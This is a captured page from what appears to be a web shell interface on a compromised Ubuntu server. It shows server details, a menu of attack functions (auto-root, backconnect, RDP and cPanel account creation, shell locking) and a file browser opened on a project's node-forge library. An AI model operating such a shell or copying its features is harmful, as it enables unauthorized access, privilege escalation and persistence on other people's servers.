Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
node-forge /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
aes.js
38.11
KB
-rw-rw-rw-
aesCipherSuites.js
8.9
KB
-rw-rw-rw-
asn1-validator.js
2.24
KB
-rw-rw-rw-
asn1.js
41.83
KB
-rw-rw-rw-
baseN.js
4.95
KB
-rw-rw-rw-
cipher.js
6.51
KB
-rw-rw-rw-
cipherModes.js
28.24
KB
-rw-rw-rw-
des.js
19.97
KB
-rw-rw-rw-
ed25519.js
24.36
KB
-rw-rw-rw-
forge.js
200
B
-rw-rw-rw-
form.js
3.79
KB
-rw-rw-rw-
hmac.js
3.74
KB
-rw-rw-rw-
http.js
38.15
KB
-rw-rw-rw-
index.all.js
366
B
-rw-rw-rw-
index.js
640
B
-rw-rw-rw-
jsbn.js
34.36
KB
-rw-rw-rw-
kem.js
5.09
KB
-rw-rw-rw-
log.js
9.05
KB
-rw-rw-rw-
md.all.js
251
B
-rw-rw-rw-
md.js
253
B
-rw-rw-rw-
md5.js
7.8
KB
-rw-rw-rw-
mgf.js
274
B
-rw-rw-rw-
mgf1.js
1.61
KB
-rw-rw-rw-
oids.js
6.68
KB
-rw-rw-rw-
pbe.js
30.27
KB
-rw-rw-rw-
pbkdf2.js
5.67
KB
-rw-rw-rw-
pem.js
6.54
KB
-rw-rw-rw-
pkcs1.js
8.18
KB
-rw-rw-rw-
pkcs12.js
32.57
KB
-rw-rw-rw-
pkcs7.js
38.93
KB
-rw-rw-rw-
pkcs7asn1.js
11.21
KB
-rw-rw-rw-
pki.js
2.59
KB
-rw-rw-rw-
prime.js
8.57
KB
-rw-rw-rw-
prime.worker.js
4.69
KB
-rw-rw-rw-
prng.js
12.04
KB
-rw-rw-rw-
pss.js
7.67
KB
-rw-rw-rw-
random.js
5.31
KB
-rw-rw-rw-
rc2.js
11.67
KB
-rw-rw-rw-
rsa.js
58.65
KB
-rw-rw-rw-
sha1.js
8.88
KB
-rw-rw-rw-
sha256.js
9.35
KB
-rw-rw-rw-
sha512.js
16.73
KB
-rw-rw-rw-
socket.js
8.13
KB
-rw-rw-rw-
ssh.js
7
KB
-rw-rw-rw-
tls.js
129.86
KB
-rw-rw-rw-
tlssocket.js
6.8
KB
-rw-rw-rw-
util.js
68.22
KB
-rw-rw-rw-
x509.js
99.41
KB
-rw-rw-rw-
xhr.js
21.6
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pki.js
/** * Javascript implementation of a basic Public Key Infrastructure, including * support for RSA public and private keys. * * @author Dave Longley * * Copyright (c) 2010-2013 Digital Bazaar, Inc. */ var forge = require('./forge'); require('./asn1'); require('./oids'); require('./pbe'); require('./pem'); require('./pbkdf2'); require('./pkcs12'); require('./pss'); require('./rsa'); require('./util'); require('./x509'); // shortcut for asn.1 API var asn1 = forge.asn1; /* Public Key Infrastructure (PKI) implementation. */ var pki = module.exports = forge.pki = forge.pki || {}; /** * NOTE: THIS METHOD IS DEPRECATED. Use pem.decode() instead. * * Converts PEM-formatted data to DER. * * @param pem the PEM-formatted data. * * @return the DER-formatted data. */ pki.pemToDer = function(pem) { var msg = forge.pem.decode(pem)[0]; if(msg.procType && msg.procType.type === 'ENCRYPTED') { throw new Error('Could not convert PEM to DER; PEM is encrypted.'); } return forge.util.createBuffer(msg.body); }; /** * Converts an RSA private key from PEM format. * * @param pem the PEM-formatted private key. * * @return the private key. */ pki.privateKeyFromPem = function(pem) { var msg = forge.pem.decode(pem)[0]; if(msg.type !== 'PRIVATE KEY' && msg.type !== 'RSA PRIVATE KEY') { var error = new Error('Could not convert private key from PEM; PEM ' + 'header type is not "PRIVATE KEY" or "RSA PRIVATE KEY".'); error.headerType = msg.type; throw error; } if(msg.procType && msg.procType.type === 'ENCRYPTED') { throw new Error('Could not convert private key from PEM; PEM is encrypted.'); } // convert DER to ASN.1 object var obj = asn1.fromDer(msg.body); return pki.privateKeyFromAsn1(obj); }; /** * Converts an RSA private key to PEM format. * * @param key the private key. * @param maxline the maximum characters per line, defaults to 64. * * @return the PEM-formatted private key. */ pki.privateKeyToPem = function(key, maxline) { // convert to ASN.1, then DER, then PEM-encode var msg = { type: 'RSA PRIVATE KEY', body: asn1.toDer(pki.privateKeyToAsn1(key)).getBytes() }; return forge.pem.encode(msg, {maxline: maxline}); }; /** * Converts a PrivateKeyInfo to PEM format. * * @param pki the PrivateKeyInfo. * @param maxline the maximum characters per line, defaults to 64. * * @return the PEM-formatted private key. */ pki.privateKeyInfoToPem = function(pki, maxline) { // convert to DER, then PEM-encode var msg = { type: 'PRIVATE KEY', body: asn1.toDer(pki).getBytes() }; return forge.pem.encode(msg, {maxline: maxline}); };
Close